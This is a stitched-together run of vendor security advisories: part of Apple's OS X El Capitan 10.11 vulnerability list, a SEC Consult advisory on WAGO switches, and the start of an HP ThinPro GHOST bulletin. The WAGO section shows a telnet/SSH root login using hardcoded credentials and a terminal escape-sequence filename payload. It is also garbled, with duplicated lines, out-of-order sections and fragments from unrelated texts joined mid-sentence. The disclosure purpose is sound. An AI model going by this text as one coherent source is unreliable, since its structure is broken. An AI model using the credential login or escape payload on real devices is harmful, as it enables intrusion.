and later\nImpact: Multiple vulnerabilities in bash\nDescription: Multiple vulnerabilities existed in bash versions prior\nto 3.2 patch level 57. These issues were addressed by updating bash\nversion 3.2 to patch level 57. \nCVE-ID\nCVE-2014-6277\nCVE-2014-7186\nCVE-2014-7187\n\nCertificate Trust Policy\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Update to the certificate trust policy\nDescription: The certificate trust policy was updated. The complete\nlist of certificates may be viewed at https://support.apple.com/en-\nus/HT202858. \n\nCFNetwork Cookies\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker in a privileged network position can track a\nuser\u0027s activity\nDescription: A cross-domain cookie issue existed in the handling of\ntop level domains. The issue was address through improved\nrestrictions of cookie creation. \nCVE-ID\nCVE-2015-5885 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua\nUniversity\n\nCFNetwork FTPProtocol\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Malicious FTP servers may be able to cause the client to\nperform reconnaissance on other hosts\nDescription: An issue existed in the handling of FTP packets when\nusing the PASV command. This issue was resolved through improved\nvalidation. \nCVE-ID\nCVE-2015-5912 : Amit Klein\n\nCFNetwork HTTPProtocol\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A maliciously crafted URL may be able to bypass HSTS and\nleak sensitive data\nDescription: A URL parsing vulnerability existed in HSTS handling. \nThis issue was addressed through improved URL parsing. \nCVE-ID\nCVE-2015-5858 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua\nUniversity\n\nCFNetwork HTTPProtocol\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious website may be able to track users in Safari\nprivate browsing mode\nDescription: An issue existed in the handling of HSTS state in\nSafari private browsing mode. This issue was addressed through\nimproved state handling. \nCVE-ID\nCVE-2015-5860 : Sam Greenhalgh of RadicalResearch Ltd\n\nCFNetwork Proxies\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Connecting to a malicious web proxy may set malicious\ncookies for a website\nDescription: An issue existed in the handling of proxy connect\nresponses. This issue was addressed by removing the set-cookie header\nwhile parsing the connect response. \nCVE-ID\nCVE-2015-5841 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua\nUniversity\n\nCFNetwork SSL\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker with a privileged network position may intercept\nSSL/TLS connections\nDescription: A certificate validation issue existed in NSURL when a\ncertificate changed. This issue was addressed through improved\ncertificate validation. \nCVE-ID\nCVE-2015-5824 : Timothy J. Wood of The Omni Group\n\nCFNetwork SSL\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker may be able to decrypt data protected by SSL\nDescription: There are known attacks on the confidentiality of RC4. \nAn attacker could force the use of RC4, even if the server preferred\nbetter ciphers, by blocking TLS 1.0 and higher connections until\nCFNetwork tried SSL 3.0, which only allows RC4. This issue was\naddressed by removing the fallback to SSL 3.0. \n\nCoreCrypto\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker may be able to determine a private key\nDescription: By observing many signing or decryption attempts, an\nattacker may have been able to determine the RSA private key. This\nissue was addressed using improved encryption algorithms. \n\nCoreText\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Processing a maliciously crafted font file may lead to\narbitrary code execution\nDescription: A memory corruption issue existed in the processing of\nfont files. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2015-5874 : John Villamil (@day6reak), Yahoo Pentest Team\n\nDev Tools\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious application may be able to execute arbitrary\ncode with system privileges\nDescription: A memory corruption issue existed in dyld. This was\naddressed through improved memory handling. \nCVE-ID\nCVE-2015-5876 : beist of grayhash\n\nDev Tools\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An application may be able to bypass code signing\nDescription: An issue existed with validation of the code signature\nof executables. This issue was addressed through improved bounds\nchecking. \nCVE-ID\nCVE-2015-5839 : @PanguTeam\n\nDisk Images\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with\nsystem privileges\nDescription: A memory corruption issue existed in DiskImages. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5847 : Filippo Bigarella, Luca Todesco\n\ndyld\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An application may be able to bypass code signing\nDescription: An issue existed with validation of the code signature\nof executables. This issue was addressed through improved bounds\nchecking. \nCVE-ID\nCVE-2015-5839 : TaiG Jailbreak Team\n\nEFI\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious application can prevent some systems from\nbooting\nDescription: An issue existed with the addresses covered by the\nprotected range register. This issue was fixed by changing the\nprotected range. \nCVE-ID\nCVE-2015-5900 : Xeno Kovah \u0026 Corey Kallenberg from LegbaCore\n\nEFI\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious Apple Ethernet Thunderbolt adapter may be able\nto affect firmware flashing\nDescription: Apple Ethernet Thunderbolt adapters could modify the\nhost firmware if connected during an EFI update. This issue was\naddressed by not loading option ROMs during updates. \nCVE-ID\nCVE-2015-5914 : Trammell Hudson of Two Sigma Investments and snare\n\nFinder\nAvailable for: Mac OS X v10.6.8 and later\nImpact: The \"Secure Empty Trash\" feature may not securely delete\nfiles placed in the Trash\nDescription: An issue existed in guaranteeing secure deletion of\nTrash files on some systems, such as those with flash storage. This\nissue was addressed by removing the \"Secure Empty Trash\" option. \nCVE-ID\nCVE-2015-5901 : Apple\n\nGame Center\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious Game Center application may be able to access a\nplayer\u0027s email address\nDescription: An issue existed in Game Center in the handling of a\nplayer\u0027s email. This issue was addressed through improved access\nrestrictions. \nCVE-ID\nCVE-2015-5855 : Nasser Alnasser\n\nHeimdal\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker may be able to replay Kerberos credentials to\nthe SMB server\nDescription: An authentication issue existed in Kerberos\ncredentials. This issue was addressed through additional validation\nof credentials using a list of recently seen credentials. \nCVE-ID\nCVE-2015-5913 : Tarun Chopra of Microsoft Corporation, U.S. and Yu\nFan of Microsoft Corporation, China\n\nICU\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Multiple vulnerabilities in ICU\nDescription: Multiple vulnerabilities existed in ICU versions prior\nto 53.1.0. These issues were addressed by updating ICU to version\n55.1. \nCVE-ID\nCVE-2014-8146\nCVE-2014-8147\nCVE-2015-5922\n\nInstall Framework Legacy\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to gain root privileges\nDescription: A restriction issue existed in the Install private\nframework containing a privileged executable. This issue was\naddressed by removing the executable. \nCVE-ID\nCVE-2015-5888 : Apple\n\nIntel Graphics Driver\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with\nsystem privileges\nDescription: Multiple memory corruption issues existed in the Intel\nGraphics Driver. These issues were addressed through improved memory\nhandling. \nCVE-ID\nCVE-2015-5830 : Yuki MIZUNO (@mzyy94)\nCVE-2015-5877 : Camillus Gerard Cai\n\nIOAudioFamily\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to determine kernel memory layout\nDescription: An issue existed in IOAudioFamily that led to the\ndisclosure of kernel memory content. This issue was addressed by\npermuting kernel pointers. \nCVE-ID\nCVE-2015-5864 : Luca Todesco\n\nIOGraphics\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues existed in the\nkernel. These issues were addressed through improved memory handling. \nCVE-ID\nCVE-2015-5871 : Ilja van Sprundel of IOActive\nCVE-2015-5872 : Ilja van Sprundel of IOActive\nCVE-2015-5873 : Ilja van Sprundel of IOActive\nCVE-2015-5890 : Ilja van Sprundel of IOActive\n\nIOGraphics\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious application may be able to determine kernel\nmemory layout\nDescription: An issue existed in IOGraphics which could have led to\nthe disclosure of kernel memory layout. This issue was addressed\nthrough improved memory management. \nCVE-ID\nCVE-2015-5865 : Luca Todesco\n\nIOHIDFamily\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious application may be able to execute arbitrary\ncode with system privileges\nDescription: Multiple memory corruption issues existed in\nIOHIDFamily. These issues were addressed through improved memory\nhandling. \nCVE-ID\nCVE-2015-5866 : Apple\nCVE-2015-5867 : moony li of Trend Micro\n\nIOStorageFamily\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local attacker may be able to read kernel memory\nDescription: A memory initialization issue existed in the kernel. \nThis issue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5863 : Ilja van Sprundel of IOActive\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues existed in the\nKernel. These issues were addressed through improved memory handling. \nCVE-ID\nCVE-2015-5868 : Cererdlong of Alibaba Mobile Security Team\nCVE-2015-5896 : Maxime Villard of m00nbsd\nCVE-2015-5903 : CESG\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local process can modify other processes without\nentitlement checks\nDescription: An issue existed where root processes using the\nprocessor_set_tasks API were allowed to retrieve the task ports of\nother processes. This issue was addressed through additional\nentitlement checks. \nCVE-ID\nCVE-2015-5882 : Pedro Vilaca, working from original research by\nMing-chieh Pan and Sung-ting Tsai; Jonathan Levin\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local attacker may control the value of stack cookies\nDescription: Multiple weaknesses existed in the generation of user\nspace stack cookies. These issues were addressed through improved\ngeneration of stack cookies. \nCVE-ID\nCVE-2013-3951 : Stefan Esser\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker may be able to launch denial of service attacks\non targeted TCP connections without knowing the correct sequence\nnumber\nDescription: An issue existed in xnu\u0027s validation of TCP packet\nheaders. This issue was addressed through improved TCP packet header\nvalidation. \nCVE-ID\nCVE-2015-5879 : Jonathan Looney\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker in a local LAN segment may disable IPv6 routing\nDescription: An insufficient validation issue existed in the\nhandling of IPv6 router advertisements that allowed an attacker to\nset the hop limit to an arbitrary value. This issue was addressed by\nenforcing a minimum hop limit. \nCVE-ID\nCVE-2015-5869 : Dennis Spindel Ljungmark\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to determine kernel memory layout\nDescription: An issue existed that led to the disclosure of kernel\nmemory layout. This was addressed through improved initialization of\nkernel memory structures. \nCVE-ID\nCVE-2015-5842 : beist of grayhash\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to determine kernel memory layout\nDescription: An issue existed in debugging interfaces that led to\nthe disclosure of memory content. This issue was addressed by\nsanitizing output from debugging interfaces. \nCVE-ID\nCVE-2015-5870 : Apple\n\nKernel\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to cause a system denial of service\nDescription: A state management issue existed in debugging\nfunctionality. This issue was addressed through improved validation. \nCVE-ID\nCVE-2015-5902 : Sergi Alvarez (pancake) of NowSecure Research Team\n\nlibc\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue existed in the kernel. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2014-8611 : Adrian Chadd and Alfred Perlstein of Norse\nCorporation\n\nlibpthread\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue existed in the kernel. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5899 : Lufeng Li of Qihoo 360 Vulcan Team\n\nlibxpc\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Many SSH connections could cause a denial of service\nDescription: launchd had no limit on the number of processes that\ncould be started by a network connection. This issue was addressed by\nlimiting the number of SSH processes to 40. \nCVE-ID\nCVE-2015-5881 : Apple\n\nLogin Window\nAvailable for: Mac OS X v10.6.8 and later\nImpact: The screen lock may not engage after the specified time\nperiod\nDescription: An issue existed with captured display locking. The\nissue was addressed through improved lock handling. \nCVE-ID\nCVE-2015-5833 : Carlos Moreira, Rainer Dorau of rainer dorau\ninformationsdesign, Chris Nehren, Kai Takac, Hans Douma, Toni\nVaahtera, and an anonymous researcher\n\nlukemftpd\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A remote attacker may be able to deny service to the FTP\nserver\nDescription: A glob-processing issue existed in tnftpd. This issue\nwas addressed through improved glob validation. \nCVE-ID\nCVE-2015-5917 : Maksymilian Arciemowicz of cxsecurity.com\n\nMail\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Printing an email may leak sensitive user information\nDescription: An issue existed in Mail which bypassed user\npreferences when printing an email. This issue was addressed through\nimproved user preference enforcement. \nCVE-ID\nCVE-2015-5881 : Owen DeLong of Akamai Technologies, Noritaka Kamiya,\nDennis Klein from Eschenburg, Germany, Jeff Hammett of Systim\nTechnology Partners\n\nMail\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker in a privileged network position may be able to\nintercept attachments of S/MIME-encrypted e-mail sent via Mail Drop\nDescription: An issue existed in handling encryption parameters for\nlarge email attachments sent via Mail Drop. The issue is addressed by\nno longer offering Mail Drop when sending an encrypted e-mail. \nCVE-ID\nCVE-2015-5884 : John McCombs of Integrated Mapping Ltd\n\nMultipeer Connectivity\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local attacker may be able to observe unprotected\nmultipeer data\nDescription: An issue existed in convenience initializer handling in\nwhich encryption could be actively downgraded to a non-encrypted\nsession. This issue was addressed by changing the convenience\ninitializer to require encryption. \nCVE-ID\nCVE-2015-5851 : Alban Diquet (@nabla_c0d3) of Data Theorem\n\nNetworkExtension\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious application may be able to determine kernel\nmemory layout\nDescription: An uninitialized memory issue in the kernel led to the\ndisclosure of kernel memory content. This issue was addressed through\nimproved memory initialization. \nCVE-ID\nCVE-2015-5831 : Maxime Villard of m00nbsd\n\nNotes\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to leak sensitive user information\nDescription: An issue existed in parsing links in the Notes\napplication. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2015-5878 : Craig Young of Tripwire VERT, an anonymous researcher\n\nNotes\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to leak sensitive user information\nDescription: A cross-site scripting issue existed in parsing text by\nthe Notes application. This issue was addressed through improved\ninput validation. \nCVE-ID\nCVE-2015-5875 : xisigr of Tencent\u0027s Xuanwu LAB (www.tencent.com)\n\nOpenSSH\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Multiple vulnerabilities in OpenSSH\nDescription: Multiple vulnerabilities existed in OpenSSH versions\nprior to 6.9. These issues were addressed by updating OpenSSH to\nversion 6.9. \nCVE-ID\nCVE-2014-2532\n\nOpenSSL\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Multiple vulnerabilities in OpenSSL\nDescription: Multiple vulnerabilities existed in OpenSSL versions\nprior to 0.9.8zg. These were addressed by updating OpenSSL to version\n0.9.8zg. \nCVE-ID\nCVE-2015-0286\nCVE-2015-0287\n\nprocmail\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Multiple vulnerabilities in procmail\nDescription: Multiple vulnerabilities existed in procmail versions\nprior to 3.22. These issues were addressed by removing procmail. \nCVE-ID\nCVE-2014-3618\n\nremote_cmds\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with root\nprivileges\nDescription: An issue existed in the usage of environment variables\nby the rsh binary. This issue was addressed by dropping setuid\nprivileges from the rsh binary. \nCVE-ID\nCVE-2015-5889 : Philip Pettersson\n\nremovefile\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Processing malicious data may lead to unexpected application\ntermination\nDescription: An overflow fault existed in the checkint division\nroutines. This issue was addressed with improved division routines. \nCVE-ID\nCVE-2015-5840 : an anonymous researcher\n\nRuby\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Multiple vulnerabilities in Ruby\nDescription: Multiple vulnerabilities existed in Ruby versions prior\nto 2.0.0p645. These were addressed by updating Ruby to version\n2.0.0p645. \nCVE-ID\nCVE-2014-8080\nCVE-2014-8090\nCVE-2015-1855\n\nSecurity\nAvailable for: Mac OS X v10.6.8 and later\nImpact: The lock state of the keychain may be incorrectly displayed\nto the user\nDescription: A state management issue existed in the way keychain\nlock status was tracked. This issue was addressed through improved\nstate management. \nCVE-ID\nCVE-2015-5915 : Peter Walz of University of Minnesota, David Ephron,\nEric E. Lawrence, Apple\n\nSecurity\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A trust evaluation configured to require revocation checking\nmay succeed even if revocation checking fails\nDescription: The kSecRevocationRequirePositiveResponse flag was\nspecified but not implemented. This issue was addressed by\nimplementing the flag. \nCVE-ID\nCVE-2015-5894 : Hannes Oud of kWallet GmbH\n\nSecurity\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A remote server may prompt for a certificate before\nidentifying itself\nDescription: Secure Transport accepted the CertificateRequest\nmessage before the ServerKeyExchange message. This issue was\naddressed by requiring the ServerKeyExchange first. \nCVE-ID\nCVE-2015-5887 : Benjamin Beurdouche, Karthikeyan Bhargavan, Antoine\nDelignat-Lavaud, Alfredo Pironti, and Jean Karim Zinzindohoue of\nINRIA Paris-Rocquencourt, and Cedric Fournet and Markulf Kohlweiss of\nMicrosoft Research, Pierre-Yves Strub of IMDEA Software Institute\n\nSMB\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue existed in the kernel. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5891 : Ilja van Sprundel of IOActive\n\nSMB\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local user may be able to determine kernel memory layout\nDescription: An issue existed in SMBClient that led to the\ndisclosure of kernel memory content. This issue was addressed through\nimproved bounds checking. \nCVE-ID\nCVE-2015-5893 : Ilja van Sprundel of IOActive\n\nSQLite\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Multiple vulnerabilities in SQLite v3.8.5\nDescription: Multiple vulnerabilities existed in SQLite v3.8.5. \nThese issues were addressed by updating SQLite to version 3.8.10.2. \nCVE-ID\nCVE-2015-3414\nCVE-2015-3415\nCVE-2015-3416\n\nTelephony\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local attacker can place phone calls without the user\u0027s\nknowledge when using Continuity\nDescription: An issue existed in the authorization checks for\nplacing phone calls. This issue was addressed through improved\nauthorization checks. \nCVE-ID\nCVE-2015-3785 : Dan Bastone of Gotham Digital Science\n\nTerminal\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Maliciously crafted text could mislead the user in Terminal\nDescription: Terminal did not handle bidirectional override\ncharacters in the same way when displaying text and when selecting\ntext. This issue was addressed by suppressing bidirectional override\ncharacters in Terminal. \nCVE-ID\nCVE-2015-5883 : an anonymous researcher\n\ntidy\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Visiting a maliciously crafted website may lead to arbitrary\ncode execution\nDescription: Multiple memory corruption issues existed in tidy. \nThese issues were addressed through improved memory handling. \nCVE-ID\nCVE-2015-5522 : Fernando Munoz of NULLGroup.com\nCVE-2015-5523 : Fernando Munoz of NULLGroup.com\n\nTime Machine\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local attacker may gain access to keychain items\nDescription: An issue existed in backups by the Time Machine\nframework. This issue was addressed through improved coverage of Time\nMachine backups. \nCVE-ID\nCVE-2015-5854 : Jonas Magazinius of Assured AB\n\nNote: OS X El Capitan 10.11 includes the security content of\nSafari 9: https://support.apple.com/kb/HT205265. \n\nOS X El Capitan 10.11 may be obtained from the Mac App Store:\nhttp://www.apple.com/support/downloads/\n\nInformation will also be posted to the Apple Security Updates\nweb site: https://support.apple.com/kb/HT201222\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\nComment: GPGTools - http://gpgtools.org\n\niQIcBAEBCAAGBQJWDB2wAAoJEBcWfLTuOo7t0sYP/2L3JOGPkHH8XUh2YHpu5qaw\nS5F2v+SRpWleKQBVsGZ7oA8PV0rBTzEkzt8K1tNxYmxEqL9f/TpRiGoforn89thO\n/hOtmVOfUcBjPZ4XKwMVzycfSMC9o6LxWTLEKDVylE+F+5jkXafOC9QaqD11dxX6\nQhENkpS1BwrKhyaSVxEcgBQtZM9aTsVdZ78rTCb9XTn6gDnvs8NfIQquFOnaQT54\nYJ36e5UcUsnyBIol+yGDbC3ZEhzSVIGE5/8/NFlFfRXLgnJArxD8lqz8WdfU9fop\nhpT/dDqqAdYbRcW1ihcG1haiNHgP9yQCY5jRNfttb+Tc/kIi/QmPkEO0QS8Ygt/O\nc3sUbNulr1LCinymFVwx16CM1DplGS/GmBL18BAEBnL6yi9tEhYDynZWLSEa37VR\n8q802rXRSF10Wct9/kEeR4HgY/1k0KK/4Uddm3c0YyOU21ya7NAhoHGwmDa9g11r\nN1TniOK8tPiCGjRNOJwuF6DKxD9L3Fv44bVlxAarGUGYkICqzaNS+bgKI1aQNahT\nfJ91x5uKD4+L9v9c5slkoDIvWqIhO9oyuxgnmC5GstkwFplFXSOklLkTktjLGNn1\nnJq8cPnZ/3E1RXTEwVhGljYw5pdZHNx98XmLomGrPqVlZfjGURK+5AXdf2pOlt2e\ng6jld/w5tPuCFhGucE7Z\n=XciV\n-----END PGP SIGNATURE-----\n. Independently operating for three\ngenerations, WAGO is the global leader of spring pressure electrical\ninterconnect and automation solutions. For more than 60 years, WAGO has\ndeveloped and produced innovative products for packaging, transportation,\nprocess, industrial and building automation markets amongst others. Aside from\nits innovations in spring pressure connection technology, WAGO has introduced\nnumerous innovations that have revolutionized industry. \nFurthermore, hardcoded password hashes and credentials were also found by doing\nan automated scan with IoT Inspector. The validity of the password hashes and the embedded keys were\nalso verified by emulating the device. The outdated version was found by IoT Inspector. The outdated version was found by IoT Inspector. \n\n3) Hardcoded Credentials (CVE-2019-12550)\nThe device contains hardcoded users and passwords which can be used to login\nvia SSH and Telnet. \n\n4) Embedded Private Keys (CVE-2019-12549)\nThe device contains hardcoded private keys for the SSH daemon. The fingerprint\nof the SSH host key from the corresponding SSH daemon matches to the embedded\nprivate key. A file with the name \"\\ectest\\n\\e]55;test.txt\\a\" was created\nto trigger the vulnerability. \n\n\n3) Hardcoded Credentials (CVE-2019-12550)\nThe following credentials were found in the \u0027passwd\u0027 file of the firmware:\n\u003cPassword Hash\u003e \u003cPlaintext\u003e \u003cUser\u003e\n\u003cremoved\u003e \u003cremoved\u003e root\nNo password is set for the account [EMPTY PASSWORD] admin\n\nBy using these credentials, it\u0027s possible to connect via Telnet and SSH on the\nemulated device. Example for Telnet:\n-------------------------------------------------------------------------------\n[root@localhost ~]# telnet 192.168.0.133\nTrying 192.168.0.133... \nConnected to 192.168.0.133. \nEscape character is \u0027^]\u0027. \n\nL2SWITCH login: root\nPassword:\n~ #\n-------------------------------------------------------------------------------\nExample for SSH:\n-------------------------------------------------------------------------------\n[root@localhost ~]# ssh 192.168.0.133\nroot@192.168.0.133\u0027s password:\n~ #\n-------------------------------------------------------------------------------\n\n\n4) Embedded Private Keys (CVE-2019-12549)\nThe following host key fingerprint is shown by accessing the SSH daemon on\nthe emulated device:\n\n[root@localhost ~]# ssh 192.168.0.133\nThe authenticity of host \u0027192.168.0.133 (192.168.0.133)\u0027 can\u0027t be established. \nRSA key fingerprint is SHA256:X5Vr0/x0/j62N/aqZmHz96ojwl8x/I8mfzuT8o6uZso. \nRSA key fingerprint is MD5:2e:65:85:fc:45:04:bd:68:30:74:51:45:7d:2f:95:e2. \n\nThis matches the embedded private key (which has been removed from this advisory):\nSSH Fingerprint: 2e:65:85:fc:45:04:bd:68:30:74:51:45:7d:2f:95:e2\n\n\nVulnerable / tested versions:\n-----------------------------\nAccording to the vendor, the following versions are affected:\n* 852-303: \u003cv1.2.2.S0\n* 852-1305: \u003cv1.1.6.S0\n* 852-1505: \u003cv1.1.5.S0\n\n\nVendor contact timeline:\n------------------------\n2019-03-12: Contacting VDE CERT through info@cert.vde.com, received confirmation\n2019-03-26: Asking for a status update, VDE CERT is still waiting for details\n2019-03-28: VDE CERT requests information from WAGO again\n2019-04-09: Asking for a status update\n2019-04-11: VDE CERT: patched firmware release planned for end of May, requested\n postponement of advisory release\n2019-04-16: VDE CERT: update regarding affected firmware versions\n2019-04-24: Confirming advisory release for beginning of June\n2019-05-20: Asking for a status update\n2019-05-22: VDE CERT: no news from WAGO yet, 5th June release date\n2019-05-29: Asking for a status update\n2019-05-29: VDE CERT: detailed answer from WAGO, patches will be published\n on 7th June, SEC Consult proposes new advisory release date for\n 12th June\n2019-06-07: VDE CERT provides security advisory information from WAGO;\n WAGO releases security patches\n2019-06-12: Coordinated release of security advisory\n\n\nSolution:\n---------\nThe vendor provides patches to their customers at their download page. The\nfollowing versions fix the issues:\n* 852-303: v1.2.2.S0\n* 852-1305: v1.1.6.S0\n* 852-1505: v1.1.5.S0\n\nAccording to the vendor, busybox and glibc have been updated and the embedded\nprivate keys are being newly generated upon first boot and after a factory reset. \nThe root login via Telnet and SSH has been disabled and the admin account is\ndocumented and can be changed by the customer. \n\n\n\nWorkaround:\n-----------\nRestrict network access to the device \u0026 SSH server. Weber / @2019\n\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/\ndocDisplay?docId=emr_na-c04602055\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c04602055\nVersion: 1\n\nHPSBHF03289 rev.1- HP ThinClient PCs running ThinPro Linux, Remote Code\nExecution, Denial of Service, Disclosure of information\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2015-03-20\nLast Updated: 2015-03-20\n\nPotential Security Impact: Remote code execution, denial of service,\ndisclosure of information\n\nSource: Hewlett-Packard Company, HP Software Security Response Team\n\nVULNERABILITY SUMMARY\nA potential security vulnerability has been identified with HP ThinPro Linux\nThis is the glibc vulnerability known as \"GHOST\", which could be exploited\nremotely to allow execution of arbitrary code. This update also addresses\nother vulnerabilities in SSL that would remotely allow denial of service,\ndisclosure of information and other vulnerabilities. \n\nReferences:\n\nCVE-2015-0235 (SSRT101953)\nCVE-2014-3569\nCVE-2014-3570\nCVE-2014-3571\nCVE-2014-3572\nCVE-2014-8275\nCVE-2015-0204\nCVE-2015-0205\nCVE-2015-0206\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \n\nHP ThinPro Linux (x86) v5.1\nHP ThinPro Linux (x86) v5.0\nHP ThinPro Linux (x86) v4.4\nHP ThinPro Linux (x86) v4.3\nHP ThinPro Linux (x86) v4.2\nHP ThinPro Linux (x86) v4.1\nHP ThinPro Linux (ARM) v4.4\nHP ThinPro Linux (ARM) v4.3\nHP ThinPro Linux (ARM) v4.2\nHP ThinPro Linux (ARM) v4.1\n\nBACKGROUND\n\nCVSS 2.0 Base Metrics\n===========================================================\n Reference Base Vector Base Score\nCVE-2014-3569 (AV:N/AC:L/Au:N/C:N/I:N/A:P) 5.0\nCVE-2014-3570 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0\nCVE-2014-3571 (AV:N/AC:L/Au:N/C:N/I:N/A:P) 5.0\nCVE-2014-3572 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0\nCVE-2014-8275 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0\nCVE-2015-0204 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0\nCVE-2015-0205 (AV:N/AC:L/Au:N/C:N/I:P/A:N) 5.0\nCVE-2015-0206 (AV:N/AC:L/Au:N/C:N/I:N/A:P) 5.0\nCVE-2015-0235 (AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0\n===========================================================\n Information on CVSS is documented\n in HP Customer Notice: HPSN-2008-002\n\nRESOLUTION\n\nHP has released the following software updates to resolve the vulnerability\nfor HP ThinPro Linux. \n\nSoftpaq:\nhttp://ftp.hp.com/pub/softpaq/sp70501-71000/sp70649.exe\n\nEasy Update Via ThinPro / EasyUpdate (x86):\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.1/service_packs/security-sp-2.0-all-\n4.1-4.3-x86.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.2/service_packs/security-sp-2.0-all-\n4.1-4.3-x86.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.3/service_packs/security-sp-2.0-all-\n4.1-4.3-x86.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.4/service_packs/security-sp-2.1-all-\n4.4-x86.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/5.0/service_packs/security-sp-2.1-all-\n5.0-5.1-x86.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/5.1/service_packs/security-sp-2.1-all-\n5.0-5.1-x86.xar\n\nVia ThinPro / EasyUpdate (ARM):\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.1/service_packs/security-sp-2.0-all-\n4.1-4.3-armel.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.2/service_packs/security-sp-2.0-all-\n4.1-4.3-armel.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.3/service_packs/security-sp-2.0-all-\n4.1-4.3-armel.xar\n\nhttp://ftp.hp.com/pub/tcdebian/updates/4.4/service_packs/security-sp-2.0-all-\n4.4-armel.xar\n\nNote: Known issue on security-sp-2.0-all-4.1-4.3-arm.xar: With the patch\napplied, VMware cannot connect if security level 